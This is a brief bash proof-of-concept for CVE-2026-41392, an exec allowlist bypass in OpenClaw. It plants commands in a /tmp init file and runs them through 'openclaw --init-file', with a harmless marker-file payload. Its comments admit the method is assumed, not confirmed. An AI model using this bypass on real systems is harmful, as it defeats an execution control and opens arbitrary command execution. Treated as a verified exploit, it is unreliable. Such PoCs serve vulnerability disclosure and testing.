CVE-2026-41392 OpenClaw执行允许列表绕过漏洞

#!/bin/bash # PoC for CVE-2026-41392: OpenClaw exec allowlist bypass # Create a malicious initialization file echo 'echo "CVE-2026-41392 POC executed" > /tmp/exploit_success' > /tmp/malicious_rc.sh # Exploit the vulnerability by invoking the shell with the init-file # This simulates how an attacker might bypass the allowlist check # Assuming OpenClaw wraps the execution or allows these flags openclaw --init-file /tmp/malicious_rc.sh # Check if the exploit worked if [ -f /tmp/exploit_success ]; then cat /tmp/exploit_success else echo "Exploit failed" fi